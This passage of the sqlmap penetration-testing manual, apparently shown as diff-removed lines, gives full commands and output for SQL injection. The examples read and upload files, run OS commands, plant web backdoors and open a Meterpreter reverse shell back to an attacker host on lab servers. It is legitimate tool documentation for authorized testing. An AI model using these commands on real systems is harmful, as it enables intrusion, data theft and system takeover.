-Beware that some web application technologies do not support stacked -queries on specific database management systems. For instance, PHP does -not support stacked queries when the back-end DBMS is MySQL, but it does -support when the back-end DBMS is PostgreSQL. - -<p> -Examples against a Microsoft SQL Server 2000 target: - -<tscreen><verb> -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query \ - "SELECT 'foo'" -v 1 - -[...] -[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo'' -[hh:mm:14] [INFO] retrieved: foo -SELECT 'foo': 'foo' - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query \ - "SELECT 'foo', 'bar'" -v 2 - -[...] -[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar'' -[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into -distinct queries to be able to retrieve the output even if we are going blind -[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)), -(CHAR(32))) -[hh:mm:50] [INFO] retrieved: foo -[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds -[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VARCHAR(8000)), -(CHAR(32))) -[hh:mm:50] [INFO] retrieved: bar -[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds -SELECT 'foo', 'bar': 'foo, bar' -</verb></tscreen> - -<p> -As you can see, sqlmap splits the provided query into two different -<tt>SELECT</tt> statements then retrieves the output for each separate -query. - -<p> -If the provided query is a <tt>SELECT</tt> statement and contains a -<tt>FROM</tt> clause, sqlmap will ask you if such statement can return -multiple entries. In that case the tool knows how to unpack the query -correctly to count the number of possible entries and retrieve its output, -entry per entry. - -<p> -The SQL shell option allows you to run your own SQL statement -interactively, like a SQL console connected to the database management -system. -This feature provides TAB completion and history support too. - - -<sect1>Brute force - -<p> -These options can be used to run brute force checks. - -<sect2>Brute force tables names - -<p> -Switches: <tt>-</tt><tt>-common-tables</tt> - -<p> -There are cases where <tt>-</tt>-<tt>tables</tt> switch can not be used to -retrieve the databases' table names. These cases usually fit into one -of the following categories: - -<itemize> -<item>The database management system is MySQL <bf>< 5.0</bf> where -<tt>information_schema</tt> is not available. -<item>The database management system is Microsoft Access and system table -<tt>MSysObjects</tt> is not readable - default setting. -<item>The session user does not have read privileges against the system -table storing the scheme of the databases. -</itemize> - -<p> -If any of the first two cases apply and you provided the -<tt>-</tt>-<tt>tables</tt> switch, sqlmap will prompt you with a question -to fall back to this technique. -Either of these cases apply to your situation, sqlmap can possibly still -identify some existing tables if you provide it with the -<tt>-</tt><tt>-common-tables</tt> switch. sqlmap will perform a -brute-force attack in order to detect the existence of common tables -across the DBMS. - -<p> -The list of common table names is <tt>txt/common-tables.txt</tt> and you -can edit it as you wish. - -<p> -Example against a MySQL 4.1 target: - -<tscreen><verb> -$ python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" \ - --common-tables -D testdb --banner - -[...] -[hh:mm:39] [INFO] testing MySQL -[hh:mm:39] [INFO] confirming MySQL -[hh:mm:40] [INFO] the back-end DBMS is MySQL -[hh:mm:40] [INFO] fetching banner -web server operating system: Windows -web application technology: PHP 5.3.1, Apache 2.2.14 -back-end DBMS operating system: Windows -back-end DBMS: MySQL < 5.0.0 -banner: '4.1.21-community-nt' - -[hh:mm:40] [INFO] checking table existence using items from '/software/sqlmap/txt/common-tables.txt' -[hh:mm:40] [INFO] adding words used on web page to the check list -please enter number of threads? [Enter for 1 (current)] 8 -[hh:mm:43] [INFO] retrieved: users - -Database: testdb -[1 table] -+-------+ -| users | -+-------+ -</verb></tscreen> - - -<sect2>Brute force columns names - -<p> -Switches: <tt>-</tt><tt>-common-columns</tt> - -<p> -As per tables, there are cases where <tt>-</tt>-<tt>columns</tt> switch -can not be used to retrieve the databases' tables' column names. These -cases usually fit into one of the following categories: - -<itemize> -<item>The database management system is MySQL <bf>< 5.0</bf> where -<tt>information_schema</tt> is not available. -<item>The database management system is Microsoft Access where this -kind of information is not available inside system tables. -<item>The session user does not have read privileges against the system -table storing the scheme of the databases. -</itemize> - -<p> -If any of the first two cases apply and you provided the -<tt>-</tt>-<tt>columns</tt> switch, sqlmap will prompt you with a question -to fall back to this technique. -Either of these cases apply to your situation, sqlmap can possibly still -identify some existing tables if you provide it with the -<tt>-</tt><tt>-common-columns</tt> switch. sqlmap will perform a -brute-force attack in order to detect the existence of common columns -across the DBMS. - -<p> -The list of common table names is <tt>txt/common-columns.txt</tt> and you -can edit it as you wish. - - -<sect1>User-defined function injection - -<p> -These options can be used to create custom user-defined functions. - -<sect2>Inject custom user-defined functions (UDF) - -<p> -Switches: <tt>-</tt><tt>-udf-inject</tt> and <tt>-</tt><tt>-shared-lib</tt> - -<p> -You can inject your own user-defined functions (UDFs) by compiling a -MySQL or PostgreSQL shared library, DLL for Windows and shared object for -Linux/Unix, then provide sqlmap with the path where the shared library -is stored locally on your machine. sqlmap will then ask you some -questions, upload the shared library on the database server file system, -create the user-defined function(s) from it and, depending on your -options, execute them. When you are finished using the injected UDFs, -sqlmap can also remove them from the database for you. - -<p> -These techniques are detailed in the white paper -<htmlurl url="http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-full-control-whitepaper-4633857" -name="Advanced SQL injection to operating system full control">. - -<p> -Use switch <tt>-</tt><tt>-udf-inject</tt> and follow the instructions. - -<p> -If you want, you can specify the shared library local file system path -via command line too by using <tt>-</tt><tt>-shared-lib</tt> option. Vice -versa sqlmap will ask you for the path at runtime. - -<p> -This feature is available only when the database management system is -MySQL or PostgreSQL. - - -<sect1>File system access - -<sect2>Read a file from the database server's file system - -<p> -Switch: <tt>-</tt><tt>-file-read</tt> - -<p> -It is possible to retrieve the content of files from the underlying file -system when the back-end database management system is either MySQL, -PostgreSQL or Microsoft SQL Server, and the session user has the needed -privileges to abuse database specific functionalities and architectural -weaknesses. -The file specified can be either a textual or a binary file. sqlmap will -handle it properly. - -<p> -These techniques are detailed in the white paper -<htmlurl url="http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-full-control-whitepaper-4633857" -name="Advanced SQL injection to operating system full control">. - -<p> -Example against a Microsoft SQL Server 2005 target to retrieve a binary -file: - -<tscreen><verb> -$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther" \ - --file-read "C:/example.exe" -v 1 - -[...] -[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server -web server operating system: Windows 2000 -web application technology: ASP.NET, Microsoft IIS 6.0, ASP -back-end DBMS: Microsoft SQL Server 2005 - -[hh:mm:50] [INFO] fetching file: 'C:/example.exe' -[hh:mm:50] [INFO] the SQL query provided returns 3 entries -C:/example.exe file saved to: '/software/sqlmap/output/192.168.136.129/files/C__example.exe' -[...] - -$ ls -l output/192.168.136.129/files/C__example.exe --rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C__example.exe - -$ file output/192.168.136.129/files/C__example.exe -output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI) Intel -80386 32-bit -</verb></tscreen> - - -<sect2>Upload a file to the database server's file system - -<p> -Switches: <tt>-</tt><tt>-file-write</tt> and <tt>-</tt><tt>-file-dest</tt> - -<p> -It is possible to upload a local file to the database server's file system -when the back-end database management system is either MySQL, PostgreSQL -or Microsoft SQL Server, and the session user has the needed privileges to -abuse database specific functionalities and architectural weaknesses. -The file specified can be either a textual or a binary file. sqlmap will -handle it properly. - -<p> -These techniques are detailed in the white paper -<htmlurl url="http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-full-control-whitepaper-4633857" -name="Advanced SQL injection to operating system full control">. - -<p> -Example against a MySQL target to upload a binary UPX-compressed file: - -<tscreen><verb> -$ file /software/nc.exe.packed -/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit - -$ ls -l /software/nc.exe.packed --rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed - -$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write \ - "/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1 - -[...] -[hh:mm:29] [INFO] the back-end DBMS is MySQL -web server operating system: Windows 2003 or 2008 -web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727 -back-end DBMS: MySQL >= 5.0.0 - -[...] -do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been successfully -written on the back-end DBMS file system? [Y/n] y -[hh:mm:52] [INFO] retrieved: 31744 -[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 bytes, -same size as the local file '/software/nc.exe.packed' -</verb></tscreen> - - -<sect1>Operating system takeover - -<sect2>Run arbitrary operating system command - -<p> -Switches: <tt>-</tt><tt>-os-cmd</tt> and <tt>-</tt><tt>-os-shell</tt> - -<p> -It is possible to <bf>run arbitrary commands on the database server's -underlying operating system</bf> when the back-end database management -system is either MySQL, PostgreSQL or Microsoft SQL Server, and the -session user has the needed privileges to abuse database specific -functionalities and architectural weaknesses. - -<p> -On MySQL and PostgreSQL, sqlmap uploads (via the file upload functionality -explained above) a shared library (binary file) containing two -user-defined functions, <tt>sys_exec()</tt> and <tt>sys_eval()</tt>, then -it creates these two functions on the database and calls one of them to -execute the specified command, depending on user's choice to display the -standard output or not. -On Microsoft SQL Server, sqlmap abuses the <tt>xp_cmdshell</tt> stored -procedure: if it is disabled (by default on Microsoft SQL Server >= 2005), -sqlmap re-enables it; if it does not exist, sqlmap creates it from -scratch. - -<p> -When the user requests the standard output, sqlmap uses one of the -enumeration SQL injection techniques (blind, inband or error-based) to -retrieve it. Vice versa, if the standard output is not required, stacked -query SQL injection technique is used to execute the command. - -<p> -These techniques are detailed in the white paper -<htmlurl url="http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-full-control-whitepaper-4633857" -name="Advanced SQL injection to operating system full control">. - -<p> -Example against a PostgreSQL target: - -<tscreen><verb> -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" \ - --os-cmd id -v 1 - -[...] -web application technology: PHP 5.2.6, Apache 2.2.9 -back-end DBMS: PostgreSQL -[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system -[hh:mm:12] [INFO] the back-end DBMS operating system is Linux -[hh:mm:12] [INFO] testing if current user is DBA -[hh:mm:12] [INFO] detecting back-end DBMS version from its banner -[hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist -[hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist -[hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file -[hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file -do you want to retrieve the command standard output? [Y/n/a] y -command standard output: 'uid=104(postgres) gid=106(postgres) groups=106(postgres)' - -[hh:mm:19] [INFO] cleaning up the database management system -do you want to remove UDF 'sys_eval'? [Y/n] y -do you want to remove UDF 'sys_exec'? [Y/n] y -[hh:mm:23] [INFO] database management system cleanup finished -[hh:mm:23] [WARNING] remember that UDF shared object files saved on the file system can -only be deleted manually -</verb></tscreen> - -<p> -It is also possible to simulate a real shell where you can type as many -arbitrary commands as you wish. The option is <tt>-</tt><tt>-os-shell</tt> -and has the same TAB completion and history functionalities that -<tt>-</tt><tt>-sql-shell</tt> has. - -<p> -Where stacked queries has not been identified on the web application -(e.g. PHP or ASP with back-end database management system being MySQL) and -the DBMS is MySQL, it is still possible to abuse the <tt>SELECT</tt> -clause's <tt>INTO OUTFILE</tt> to create a web backdoor in a writable -folder within the web server document root and still get command -execution assuming the back-end DBMS and the web server are hosted on the -same server. -sqlmap supports this technique and allows the user to provide a -comma-separated list of possible document root sub-folders where try to -upload the web file stager and the subsequent web backdoor. Also, sqlmap -has its own tested web file stagers and backdoors for the following -languages: - -<itemize> -<item>ASP -<item>ASP.NET -<item>JSP -<item>PHP -</itemize> - - -<sect2>Out-of-band stateful connection: Meterpreter & friends - -<p> -Switches: <tt>-</tt><tt>-os-pwn</tt>, <tt>-</tt><tt>-os-smbrelay</tt>, -<tt>-</tt><tt>-os-bof</tt>, <tt>-</tt><tt>-priv-esc</tt>, -<tt>-</tt><tt>-msf-path</tt> and <tt>-</tt><tt>-tmp-path</tt> - -<p> -It is possible to establish an <bf>out-of-band stateful TCP connection -between the attacker machine and the database server</bf> underlying -operating system when the back-end database management system is either -MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the -needed privileges to abuse database specific functionalities and -architectural weaknesses. -This channel can be an interactive command prompt, a Meterpreter session -or a graphical user interface (VNC) session as per user's choice. - -<p> -sqlmap relies on Metasploit to create the shellcode and implements four -different techniques to execute it on the database server. These -techniques are: -<itemize> -<item>Database <bf>in-memory execution of the Metasploit's shellcode</bf> -via sqlmap own user-defined function <tt>sys_bineval()</tt>. Supported on -MySQL and PostgreSQL - switch <tt>-</tt><tt>-os-pwn</tt>. -<item>Upload and execution of a Metasploit's <bf>stand-alone payload -stager</bf> via sqlmap own user-defined function <tt>sys_exec()</tt> on -MySQL and PostgreSQL or via <tt>xp_cmdshell()</tt> on Microsoft SQL -Server - switch <tt>-</tt><tt>-os-pwn</tt>. -<item>Execution of Metasploit's shellcode by performing a <bf>SMB -reflection attack</bf> (<htmlurl -url="http://www.microsoft.com/technet/security/Bulletin/MS08-068.mspx" -name="MS08-068">) with a UNC path request from the database server to -the attacker's machine where the Metasploit <tt>smb_relay</tt> server -exploit listens. Supported when running sqlmap with high privileges -(<tt>uid=0</tt>) on Linux/Unix and the target DBMS runs as Administrator -on Windows - switch <tt>-</tt><tt>-os-smbrelay</tt>. -<item>Database in-memory execution of the Metasploit's shellcode by -exploiting <bf>Microsoft SQL Server 2000 and 2005 -<tt>sp_replwritetovarbin</tt> stored procedure heap-based buffer -overflow</bf> (<htmlurl -url="http://www.microsoft.com/technet/security/bulletin/ms09-004.mspx" -name="MS09-004">). sqlmap has its own exploit to trigger the -vulnerability with automatic DEP memory protection bypass, but it relies -on Metasploit to generate the shellcode to get executed upon successful -exploitation - switch <tt>-</tt><tt>-os-bof</tt>. -</itemize> - -<p> -These techniques are detailed in the white paper -<htmlurl url="http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-full-control-whitepaper-4633857" -name="Advanced SQL injection to operating system full control"> and in the -slide deck <htmlurl url="http://www.slideshare.net/inquis/expanding-the-control-over-the-operating-system-from-the-database" -name="Expanding the control over the operating system from the database">. - -<p> -Example against a MySQL target: - -<tscreen><verb> -$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1" --os-pwn \ - --msf-path /software/metasploit - -[...] -[hh:mm:31] [INFO] the back-end DBMS is MySQL -web server operating system: Windows 2003 -web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0 -back-end DBMS: MySQL 5.0 -[hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system -[hh:mm:31] [INFO] the back-end DBMS operating system is Windows -how do you want to establish the tunnel? -[1] TCP: Metasploit Framework (default) -[2] ICMP: icmpsh - ICMP tunneling -> -[hh:mm:32] [INFO] testing if current user is DBA -[hh:mm:32] [INFO] fetching current user -what is the back-end database management system architecture? -[1] 32-bit (default) -[2] 64-bit -> -[hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist -[hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist -[hh:mm:33] [INFO] detecting back-end DBMS version from its banner -[hh:mm:33] [INFO] retrieving MySQL base directory absolute path -[hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file -[hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file -how do you want to execute the Metasploit shellcode on the back-end database underlying -operating system? -[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default) -[2] Stand-alone payload stager (file system way) -> -[hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode -which connection type do you want to use? -[1] Reverse TCP: Connect back from the database host to this machine (default) -[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports -between the specified and 65535 -[3] Bind TCP: Listen on the database host for a connection -> -which is the local address? [192.168.136.1] -which local port number do you want to use? [60641] -which payload do you want to use? -[1] Meterpreter (default) -[2] Shell -[3] VNC -> -[hh:mm:40] [INFO] creation in progress ... done -[hh:mm:43] [INFO] running Metasploit Framework command line interface locally, please wait.. - - _ - | | o - _ _ _ _ _|_ __, , _ | | __ _|_ -/ |/ |/ | |/ | / | / \_|/ \_|/ / \_| | - | | |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/ - /| - \| - - - =[ metasploit v3.7.0-dev [core:3.7 api:1.0] -+ -- --=[ 674 exploits - 351 auxiliary -+ -- --=[ 217 payloads - 27 encoders - 8 nops - =[ svn r12272 updated 4 days ago (2011.04.07) - -PAYLOAD => windows/meterpreter/reverse_tcp -EXITFUNC => thread -LPORT => 60641 -LHOST => 192.168.136.1 -[*] Started reverse handler on 192.168.136.1:60641 -[*] Starting the payload handler... -[hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF 'sys_bineval', -please wait.. -[*] Sending stage (749056 bytes) to 192.168.136.129 -[*] Meterpreter session 1 opened (192.168.136.1:60641 -> 192.168.136.129:1689) at Mon Apr 11 -hh:mm:52 +0100 2011 - -meterpreter > Loading extension espia...success. -meterpreter > Loading extension incognito...success. -meterpreter > [-] The 'priv' extension has already been loaded. -meterpreter > Loading extension sniffer...success. -meterpreter > System Language : en_US -OS : Windows .NET Server (Build 3790, Service Pack 2). -Computer : W2K3R2 -Architecture : x86 -Meterpreter : x86/win32 -meterpreter > Server username: NT AUTHORITY\SYSTEM -meterpreter > ipconfig - -MS TCP Loopback interface -Hardware MAC: 00:00:00:00:00:00 -IP Address : 127.0.0.1 -Netmask : 255.0.0.0 - - - -Intel(R) PRO/1000 MT Network Connection -Hardware MAC: 00:0c:29:fc:79:39 -IP Address : 192.168.136.129 -Netmask : 255.255.255.0 - - -meterpreter > exit - -[*] Meterpreter session 1 closed. Reason: User exit -</verb></tscreen> - -<p> -By default MySQL on Windows runs as <tt>SYSTEM</tt>, however PostgreSQL -runs as a low-privileged user <tt>postgres</tt> on both Windows and Linux. -Microsoft SQL Server 2000 by default runs as <tt>SYSTEM</tt>, whereas -Microsoft SQL Server 2005 and 2008 run most of the times as <tt>NETWORK -SERVICE</tt> and sometimes as <tt>LOCAL SERVICE</tt>. - -<p> -It is possible to provide sqlmap with the <tt>-</tt><tt>-priv-esc</tt> -switch to perform a <bf>database process' user privilege escalation</bf> -via Metasploit's <tt>getsystem</tt> command which include, among others, -the <htmlurl -url="http://archives.neohapsis.com/archives/fulldisclosure/2010-01/0346.html" -name="kitrap0d"> technique (<htmlurl -url="http://www.microsoft.com/technet/security/bulletin/ms10-015.mspx" -name="MS10-015">). - - -<sect1>Windows registry access - -<p> -It is possible to access Windows registry when the back-end database -management system is either MySQL, PostgreSQL or Microsoft SQL Server, -and when the web application supports stacked queries. Also, session user -has to have the needed privileges to access it. - -<sect2>Read a Windows registry key value - -<p> -Switch: <tt>-</tt><tt>-reg-read</tt> - -<p> -Using this option you can read registry key values. - -<sect2>Write a Windows registry key value - -<p> -Switch: <tt>-</tt><tt>-reg-add</tt> - -<p> -Using this option you can write registry key values. - -<sect2>Delete a Windows registry key - -<p> -Switch: <tt>-</tt><tt>-reg-del</tt> - -<p> -Using this option you can delete registry keys. - -<sect2>Auxiliary registry switches - -<p> -Switches: <tt>-</tt><tt>-reg-key</tt>, <tt>-</tt><tt>-reg-value</tt>, -<tt>-</tt><tt>-reg-data</tt> and <tt>-</tt><tt>-reg-type</tt> - -<p> -These switches can be used to provide data needed for proper running of -options <tt>-</tt><tt>-reg-read</tt>, <tt>-</tt><tt>-reg-add</tt> and -<tt>-</tt><tt>-reg-del</tt>. So, instead of providing registry key -information when asked, you can use them at command prompt as program -arguments. - -<p> -With <tt>-</tt><tt>-reg-key</tt> option you specify used Windows registry -key path, with <tt>-</tt><tt>-reg-value</tt> value item name inside -provided key, with <tt>-</tt><tt>-reg-data</tt> value data, while with -<tt>-</tt><tt>-reg-type</tt> option you specify type of the value item. - -<p> -A sample command line for adding a registry key hive follows: - -<tscreen><verb> -$ python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --reg-add \ - --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1 -</verb></tscreen> - - -<sect1>General - - -<sect2>Log HTTP(s) traffic to a textual file - -<p> -Switch: <tt>-t</tt> - -<p> -This switch requires an argument that specified the textual file to write -all HTTP(s) traffic generated by sqlmap - HTTP(s) requests and HTTP(s) -responses. - -<p> -This is useful primarily for debug purposes. - - -<sect2>Session file: save and resume data retrieved - -<p> -Switch: <tt>-s</tt> - -<p> -By default sqlmap logs all queries and their output into a textual file -called <em>session file</em>, regardless of the technique used to extract -the data. -This is useful if you stop the injection for any reason and rerun it -afterwards: sqlmap will parse the session file and resume enumerated data -from it, then carry on extracting data from the exact point where it left -before you stopped the tool. - -<p> -The default session file is <tt>output/TARGET_URL/session</tt>, but you -can specify a different file path with <tt>-s</tt> switch. - -<p> -The session file has the following structure: - -<tscreen><verb> -[hh:mm:ss MM/DD/YY] -[Target URL][Injection point][Parameters][Query or information name][Query output or value] -</verb></tscreen> - -<p> -A more user friendly textual file where all data retrieved is saved, is -the <em>log file</em>, <tt>output/TARGET_URL/log</tt>. This file can be -useful to see all information enumerated to the end. - - -<sect2>Flush session file - -<p> -Switch: <tt>-</tt><tt>-flush-session</tt> - -<p> -As you are already familiar with the concept of a session file from the -description above, it is good to know that you can flush the content of -that file using option <tt>-</tt><tt>-flush-session</tt>. -This way you can avoid the caching mechanisms implemented by default in -sqlmap. Other possible way is to manually remove the session file(s). - - -<sect2>Ignores query results stored in session file - -<p> -Switch: <tt>-</tt><tt>-fresh-queries</tt> - -<p> -As you are already familiar with the concept of a session file from the -description above, it is good to know that you can ignore the content of -that file using option <tt>-</tt><tt>-fresh-queries</tt>. -This way you can keep the session file untouched and for a selected run, -avoid the resuming/restoring of queries output. - - -<sect2>Estimated time of arrival - -<p> -Switch: <tt>-</tt><tt>-eta</tt> - -<p> -It is possible to calculate and show in real time the estimated time of -arrival to retrieve each query output. This is shown when the technique -used to retrieve the output is any of the blind SQL injection types. - -<p> -Example against an Oracle target affected only by boolean-based blind SQL -injection: - -<tscreen><verb> -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1" -b --eta - -[...] -[hh:mm:01] [INFO] the back-end DBMS is Oracle -[hh:mm:01] [INFO] fetching banner -[hh:mm:01] [INFO] retrieving the length of query output -[hh:mm:01] [INFO] retrieved: 64 -17% [========> ] 11/64 ETA 00:19 -</verb></tscreen> - -<p> -Then: - -<tscreen><verb> -100% [===================================================] 64/64 -[hh:mm:53] [INFO] retrieved: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod - -web application technology: PHP 5.2.6, Apache 2.2.9 -back-end DBMS: Oracle -banner: 'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod' -</verb></tscreen> - -<p> -As you can see, sqlmap first calculates the length of the query output, -then estimates the time of arrival, shows the progress in percentage and -counts the number of retrieved output characters. - - -<sect2>Update sqlmap - -<p> -Switch: <tt>-</tt><tt>-update</tt> - -<p> -Using this option you can update the tool to the latest development -version directly from the subversion repository. You obviously need -Internet access. - -<p> -If, for any reason, this operation fails, run <tt>git pull</tt> from -your sqlmap working copy. It will perform the exact same operation of -switch <tt>-</tt><tt>-update</tt>. -If you are running sqlmap on Windows, you can use the <htmlurl name="SmartGit" -url="http://www.syntevo.com/smartgit/index.html"> client. - -<p> -This is strongly recommended <bf>before</bf> reporting any bug to the -<htmlurl name="mailing lists" url="http://www.sqlmap.org/#ml">. - - -<sect2>Save options in a configuration INI file - -<p> -Switch: <tt>-</tt><tt>-save</tt> - -<p> -It is possible to save the command line options to a configuration INI -file. -The generated file can then be edited and passed to sqlmap with the -<tt>-c</tt> option as explained above. - - -<sect2>Act in non-interactive mode - -<p> -Switch: <tt>-</tt><tt>-batch</tt> - -<p> -If you want sqlmap to run as a batch tool, without any user's interaction -when sqlmap requires it, you can force that by using -<tt>-</tt><tt>-batch</tt> switch. This will leave sqlmap to go with a -default behaviour whenever user's input would be required. - - -<sect1>Miscellaneous - -<sect2>Alert when a SQL injection is detected - -<p> -Switch: <tt>-</tt><tt>-beep</tt> - -<p> -When this switch is provided, sqlmap will beep at every new SQL injection -that it finds. It can be useful when you are processing in batch mode a -Google dork output or a proxy log file so that you do not need to monitor -the terminal constantly. - - -<sect2>IDS detection testing of injection payloads - -<p> -Switch: <tt>-</tt><tt>-check-payload</tt> - -<p> -Curious to see if a <htmlurl url="http://www.phpids.org" -name="decent intrusion detection system"> (IDS) picks up sqlmap payloads? -Use this switch! - - -<sect2>Cleanup the DBMS from sqlmap specific UDF(s) and table(s) - -<p> -Switch: <tt>-</tt><tt>-cleanup</tt> - -<p> -It is recommended to clean up the back-end database management system from -sqlmap temporary table(s) and created user-defined function(s) when you -are done taking over the underlying operating system or file system. -Switch <tt>-</tt><tt>-cleanup</tt> will attempt to clean up the DBMS and -the file system wherever possible. - - -<sect2>Parse and test forms' input fields - -<p> -Switch: <tt>-</tt><tt>-forms</tt> - -<p> -Say that you want to test against SQL injections a huge <em>search form</em> -or you want to test a login bypass (typically only two input fields named -like <em>username</em> and <em>password</em>), you can either pass to sqlmap -the request in a request file (<tt>-r</tt>), set the POSTed data -accordingly (<tt>-</tt><tt>-data</tt>) or let sqlmap do it for you! - -<p> -Both of the above mentioned instances, and many others, appear as -<tt><form></tt> and <tt><input></tt> tags in HTML response -bodies and this is where this switch comes into play. - -<p> -Provide sqlmap with <tt>-</tt><tt>-forms</tt> as well as the page where -the form can be found as the target url (<tt>-u</tt>) and sqlmap will -request the target url for you, parse the forms it has and guide you -through to test for SQL injection on those form input fields (parameters) -rather than the target url provided. - - -<sect2>Use Google dork results from specified page number - -<p> -Switch: <tt>-</tt><tt>-gpage</tt> - -<p> -Default sqlmap behavior with option <tt>-g</tt> is to do a Google -search and use the first 100 resulting URLs for further SQL injection -testing. However, in combination with this option you can specify with -this switch, <tt>-</tt><tt>-gpage</tt>, some page other than the first one -to retrieve target URLs from. - - -<sect2>Imitate smartphone - -<p> -Switch: <tt>-</tt><tt>-mobile</tt> - -<p> -TODO - - -<sect2>Display page rank (PR) for Google dork results - -<p> -Switch: <tt>-</tt><tt>-page-rank</tt> - -<p> -Performs further requests to Google when <tt>-g</tt> is provided and -display page rank (PR) for Google dork results. - - -<sect2>Parse DBMS error messages from response pages - -<p> -Switch: <tt>-</tt><tt>-parse-errors</tt> - -<p> -If the web application is configured in debug mode so that it displays -in the HTTP responses the back-end database management system error -messages, sqlmap can parse and display them for you. - -This is useful for debugging purposes like understanding why a certain -enumeration or takeover switch does not work - it might be a matter of -session user's privileges and in this case you would see a DBMS error -message along the lines of <tt>Access denied for user <SESSION -USER></tt>. - - -<sect2>Replicate dumped data into a sqlite3 database - -<p> -Switch: <tt>-</tt><tt>-replicate</tt> - -<p> -If you want to store in a local SQLite 3 database file each dumped table -(<tt>-</tt><tt>-dump</tt> or <tt>-</tt><tt>-dump-all</tt>), you can -provide sqlmap with the <tt>-</tt><tt>-replicate</tt> switch at dump -phase. This will create a <tt><TABLE_NAME>.sqlite3</tt> rather than -a <tt><DB_NAME>/<TABLE_NAME>.csv</tt> file into -<tt>output/TARGET_URL/dump/</tt> directory. - -<p> -You can then use sqlmap itself to read and query the locally created -SQLite 3 file. For instance, <tt>python sqlmap.py -d -sqlite:///software/sqlmap/output/192.168.136.131/dump/testdb.sqlite3 --table</tt>. - - -<sect2>Simple wizard interface for beginner users - -<p> -Switch: <tt>-</tt><tt>-wizard</tt> - -<p> -Do you really want to know? - - -<sect>License and copyright - -<p> -sqlmap is released under the terms of the -<htmlurl url="http://www.gnu.org/licenses/old-licenses/gpl-2.0.html" name="General Public License v2">. -sqlmap is copyrighted by its <htmlurl url="http://www.sqlmap.org/#developers" name="developers">. - - -<sect>Disclaimer - -<p> -sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY -WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS -FOR A PARTICULAR PURPOSE. See the GNU General Public License for more -details. - -<p> -Whatever you do with this tool is uniquely your responsibility. If you are -not authorized to punch holes in the network you are attacking be aware -that such action might get you in trouble with a lot of law enforcement -agencies. - - -<sect>Authors - -<p> -<htmlurl url="mailto:bernardo@sqlmap.org" name="Bernardo Damele A. G."> (inquis) - -<htmlurl url="mailto:miroslav@sqlmap.org" name="Miroslav Stampar"> (stamparm) - -</article>